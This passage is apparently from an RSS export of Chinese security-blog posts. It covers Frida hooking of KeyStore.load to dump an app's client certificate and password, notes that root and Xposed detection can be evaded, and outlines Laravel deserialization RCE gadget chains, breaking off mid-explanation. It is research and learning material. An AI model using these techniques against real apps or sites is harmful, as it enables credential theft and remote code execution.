0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">这类方法需要配合frida等hook框架使用，同样也需要root手机，其中的原理主要是hook SSL 对数据解密数据的函数。</span></p><p cid="n129" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">下面给出两种思路：</span></p><ol class="list-paddingleft-2" start="" cid="n130" mdtype="list" style="padding-left: 30px;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><li><p cid="n132" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">提取证书</span></p><p cid="n133" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">app在进行https通信时必定需要将证书进行解密并存入内存中，因此如果能够找到 app操作证书的地方， hook 这部分函数，打印必要的参数，比如证书和证书密码，就可以获取客户端证书了。</span></p><p cid="n134" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">大部分情况下app操作证书的类都为</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;text-align: left;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">java.security.KeyStore</code></span><span md-inline="plain" style="box-sizing: border-box;">，那么就可以通过编写frida脚本，hook  </span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;text-align: left;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">java.security.KeyStore</code></span><span md-inline="plain" style="box-sizing: border-box;"> 这个类的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;text-align: left;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">load(InputStream stream, char[] password)</code></span><span md-inline="plain" style="box-sizing: border-box;">方法，打印形参（也就是证书和密码）即可。</span></p><p cid="n135" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">详细hook脚本在这里：</span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://api-caller.com/2019/11/05/capture-note/#%E5%8F%8C%E5%90%91%E8%AE%A4%E8%AF%81" target="_blank">https://api-caller.com/2019/11/05/capture-note/#%E5%8F%8C%E5%90%91%E8%AE%A4%E8%AF%81</a></span></p></li><li><p cid="n137" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">解密https数据</span></p><p cid="n138" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">这个方法就类似于wireshark解密https流量的方法，只要hook了 SSL 加解密的地方，就可以看到明文传输的数据了。但如果要模拟向服务器发送请求的话，还是只能使用第一种方法，因为客户端必须要提交正确的证书，服务端才会响应。</span></p><p cid="n139" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">谷歌官方提供了这个脚本：</span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://github.com/google/ssl_logger" target="_blank">https://github.com/google/ssl_logger</a></span></p></li></ol></section><section style="display: flex;justify-content: flex-end;margin-top: -11px;"><section style="box-sizing: border-box;width: 20%;height: 15px;background-color: rgb(255, 245, 239);overflow: hidden;" data-width="20%"><br/></section></section></section></section></section><section data-tools="135编辑器" data-id="105107"><section style="text-align: left;margin-top: 10px;margin-bottom: 10px;"><section style="display: inline-block;margin-right: 20px;margin-bottom: 20px;margin-left: 20px;"><section style="font-size: 50px;letter-spacing: 1.5px;color: rgb(115, 219, 213);padding-right: 4px;padding-left: 4px;box-sizing: border-box;"><strong style="font-size: 24px;">题外话</strong><br/></section><section style="box-sizing: border-box;width: 100%;height: 7px;background-color: rgb(254, 235, 221);margin-top: -24px;overflow: hidden;" data-width="100%"><br/></section></section><section style="background-image: linear-gradient(to right, rgb(242, 255, 253) 0%, rgb(250, 250, 248) 100%);background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;"><section style="background-image: linear-gradient(rgb(255, 255, 255) 0%, rgb(255, 255, 255) 50%, rgba(254, 254, 254, 0) 50%, rgba(254, 254, 254, 0) 100%);background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding-right: 20px;padding-bottom: 20px;padding-left: 20px;"><p style="font-size: 14px;line-height: 1.95em;letter-spacing: 1.5px;color: #4b5b5a;"><span style="color: rgb(51, 51, 51);font-size: 16px;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;">xposed + 流行插件和root手机已经被一些app列入了检测名单，有的仅仅会弹出一个提示框，有的会直接退出app。下图是某个app反编译后检测root和xposed的源代码。可以看到这里使用的是黑名单的机制，通过检测root路径和app包名来判断app是否运行在root环境或者xposed框架下。</span></p><p style="text-align: center;"><img class="rich_pages" data-backh="829" data-backw="538" data-galleryid="" data-ratio="1.5409015025041737" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="599" src="https://wechat2rss.xlab.app/img-proxy/?k=0f107805&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldestCZqYiaZJNLBk5h1DlgtO0PhP61S9Co0yem9IhqfCZXUIYkPeseKBFMmXWtkh3KCoAmH9O1RKNg%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;line-height: 1.95em;letter-spacing: 1.5px;color: #4b5b5a;"><span style="color: rgb(51, 51, 51);font-size: 16px;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;">当然了，这样黑名单的检测方法具有一定的局限性，通过修改系统文件，随机包名等技术都可以绕过这样的检测。</span></p><section style="display: flex;justify-content: flex-end;margin-top: -30px;"><section style="box-sizing:border-box;width: 32px;"><img data-ratio="1.1304347826086956" style="box-sizing:border-box;width: 100%;display: block;" data-type="png" data-w="46" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=1cc9613d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldestCZqYiaZJNLBk5h1DlgtO7yKfRCkukle30lS6qBMMM4B7bYOnobpKqUe5rTCXR6EancFB6Jd8gg%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section></section></section><section data-role="paragraph"><p><br/></p></section></section><p><br/></p>



<p><a href="2247484297">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=bd1a0f81&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkzODE2NjgyNQ%3D%3D%26mid%3D2247484297%26idx%3D1%26sn%3D1c39b565150ea53e91dcbdc66997e511%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 12 Jul 2021 18:53:00 +0800</pubDate>
    </item>
    <item>
      <title>Laravel反序列化学习</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247484277&amp;idx=1&amp;sn=8380f7e4560126e45f5c55feecc2c2c1</link>
      <description>Laravel反序列化学习</description>
      <content:encoded><![CDATA[<p>
原创 <span>零鉴科技</span> <span>2021-05-24 18:43</span> <span style="display: inline-block;"></span>
</p>

<p>Laravel反序列化学习</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=52b23b3e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IXTFwGSeib3jncdduOHp99rCtic6zGkR3I3FBTfK8DdOyGOf4jZyBShdZw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-role="outer" label="Powered by 135editor.com"><section data-tools="135编辑器" data-id="104090"><section style="text-align: center;margin: 10px auto;"><section style="background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/e9yMd8aXldficMGlySyYq7R0jkONpE5IXxBtLOkf3fNLadRw0QA1F62rAK1JmZNriaPtPYFC3NiaRmGgfiasIlSy7w/640?wx_fmt=png&#34;);background-position: center center;background-repeat: no-repeat;background-attachment: initial;background-origin: initial;background-clip: initial;padding-top: 10px;padding-bottom: 4px;background-size: 15%;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 2.5px;color: rgb(255, 161, 99);"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 24px;"><strong>Laravel反序列化学习</strong></span></section><section data-brushtype="text" style="font-size: 13px;letter-spacing: 1.5px;color: #fc975b;margin-top: -1px;transform: scale(0.8);transform: scale(0.8);-webkit-transform: scale(0.8);-moz-transform: scale(0.8);-ms-transform: scale(0.8);-o-transform: scale(0.8);"><br/></section></section></section></section><section data-role="paragraph"><p><br/></p><p><br/></p></section><section data-tools="135编辑器" data-id="104084"><section style="text-align: center;margin:10px auto;"><section style="margin-top: 40px;"><section style="box-sizing: border-box;width: 7px;height: 7px;background-color: rgb(255, 172, 123);border-radius: 50%;margin-bottom: -40px;overflow: hidden;transform: rotate(0deg);"><br/></section><section style="box-sizing: border-box;width: 7px;height: 7px;background-color: rgb(194, 176, 254);border-radius: 50%;margin-bottom: -3px;margin-left: 30px;overflow: hidden;transform: rotate(0deg);"><br/></section><section style="border-width: 1px;border-style: solid;border-color: rgb(255, 179, 112);border-radius: 10px;padding: 5px;margin-left: 3px;box-sizing: border-box;"><section style="background-color: rgb(255, 250, 242);padding: 30px 10px 10px 20px;border-radius: 10px;box-sizing: border-box;"><section data-autoskip="1" style="padding-right: 10px;text-align: left;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: #73635a;background: transparent;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">本文主要以收集并复现网络上常用的Laravel反序列化RCE链为目的，学习并总结Laravel反序列化的函数调用与内部逻辑。本次复现所使用的Laravel版本为Laravel 5.8.38，Laravel 7.30.4，Laravel 8.38.0，组件版本由composer默认安装。</span></section></section></section></section></section></section><section data-role="paragraph"><p><br/></p><p><br/></p></section><section data-tools="135编辑器" data-id="104089"><section style="text-align: center;margin: 10px auto;"><section style="display: flex;justify-content: center;align-items: center;"><section style="box-sizing:border-box;width: 40px;flex-shrink: 0;"><img data-ratio="0.7205882352941176" style="box-sizing:border-box;width: 100%;display: block;" data-type="png" data-w="68" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=818ba2e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IXsuT2ibG0LoI71MYulqAC4WicrkJcfu8RstB8NLjL6lq2kHzkFka6w2MA%2F640%3Fwx_fmt%3Dpng"/></section><section data-brushtype="text" style="font-size: 16px;color: rgb(255, 161, 99);padding-right: 8px;padding-left: 8px;text-align: left;box-sizing: border-box;"><span style="font-size: 20px;"><strong>命令执行</strong></span></section><section style="box-sizing:border-box;width: 11px;flex-shrink: 0;"><img data-ratio="1" style="box-sizing:border-box;width: 100%;display: block;" data-type="png" data-w="22" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=8dc4cdd3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IXUUCf57s0Dz8qFibeG5gagUpJqoKpQ6LVdLsm84fibicYcPCic804wmaaFA%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><section data-role="paragraph"><p><br/></p></section><section data-tools="135编辑器" data-id="104084"><section style="text-align: center;margin:10px auto;"><section style="margin-top: 40px;"><section style="box-sizing: border-box;width: 7px;height: 7px;background-color: rgb(255, 172, 123);border-radius: 50%;margin-bottom: -40px;overflow: hidden;transform: rotate(0deg);"><br/></section><section style="box-sizing: border-box;width: 7px;height: 7px;background-color: rgb(194, 176, 254);border-radius: 50%;margin-bottom: -3px;margin-left: 30px;overflow: hidden;transform: rotate(0deg);"><br/></section><section style="border-width: 1px;border-style: solid;border-color: rgb(255, 179, 112);border-radius: 10px;padding: 5px;margin-left: 3px;box-sizing: border-box;"><section style="background-color: rgb(255, 250, 242);padding: 30px 10px 10px 20px;border-radius: 10px;box-sizing: border-box;"><section data-autoskip="1" style="padding-right: 10px;text-align: justify;line-height:1.75em;letter-spacing: 1.5px;font-size:14px;color:#73635a;background: transparent;"><p style="text-align:left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">首先直接上一张整理好的Laravel的反系列化脑图，绿色链代表Laravel 5，7，8通用的反序列化链，黄色链代表受限于Laravel版本的反序列化链，红色链代表需要使用到特定版本组件的序列化链。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.8023049645390071" data-s="300,640" style="" data-type="png" data-w="1128" src="https://wechat2rss.xlab.app/img-proxy/?k=d207cfc5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IX11RtkXnBibiaWBjV8jLGln34UuRUsB8eDjAhhJvanfe9l9z1oL7tiaXGA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">从脑图中可以看到很明显的一个特征是，Laravel 5，7，8通用的反序列化链的入口基本上都是</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">Illuminate\Broadcasting\PendingBroadcast</span></code><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">类的</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">__destruct()</span></code><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">方法。通过寻找可利用的</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">__call()</span></code><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">魔术方法或者存在</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">dispatch()</span></code><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">方法的类来完成后续的利用，最后通过php可变函数的性质或者</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">call_user_func</span></code><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">和</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">call_user_func_array</span></code><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">来执行命令。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.35491329479768785" data-s="300,640" style="" data-type="png" data-w="865" src="https://wechat2rss.xlab.app/img-proxy/?k=afe7df72&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IXbKFhPRfAnX5nRAuvYPic6Vx0jF6vxFZNZxnj30W9VmLH2gSv615qYzA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">除了<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">PendingBroadcast</code>类，还有一些常用可以进行反序列化的类，如<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">PendingResourceRegistration</code>类和<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">ImportConfigurator</code>类，但是在高版本的Laravel中，<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">ImportConfigurator</code>类加入了<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">__wakeup</code>和<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">__sleep</code>函数，导致该类不能被反序列化，但<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">PendingResourceRegistration</code>类依旧可以使用。</span></p><p style="text-align:left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><img class="rich_pages" data-galleryid="" data-ratio="0.5035398230088496" data-s="300,640" style="color: rgb(115, 99, 90);font-size: 14px;letter-spacing: 1.5px;text-align: center;white-space: normal;background-color: rgb(255, 250, 242);" data-type="png" data-w="1130" src="https://wechat2rss.xlab.app/img-proxy/?k=dce557e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IXhCQjHJ8YZ97x3cmZibF7KFBUt0jcYpbhazUicV6hectEX1Ao6kdiaj6og%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-align:left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">全网中将<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">PendingResourceRegistration</code>作为入口的反序列化链比较少，因此在这里我选择<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">PendingResourceRegistration</code>作为反序列化链挖掘的入口。</span></p><p style="text-align:left;"><br/></p><p style="text-align:left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">在<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">PendingResourceRegistration</code>类中，<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">__destruct()</code>方法会调用类中的<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">register()</code>方法，<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">register()</code>会对应调用<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">$this-&gt;registrar</code>的<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">register()</code>方法。其中，<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">$this-&gt;registered</code>，<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">$this-&gt;name</code>，<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">$this-&gt;controller</code>，<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">$this-&gt;options</code>均可控。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.7960396039603961" data-s="300,640" style="" data-type="png" data-w="1010" src="https://wechat2rss.xlab.app/img-proxy/?k=2eb21c9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IXGgEN03zHFrKzCK1d9f2PibG3ibmiciayCv34e9OtM5XgD08CLs7icyx9FicQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></p><p style="text-align:left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">那么接下来的任务就是寻找含有<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">__call()</code>魔术方法的类或者含有<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, 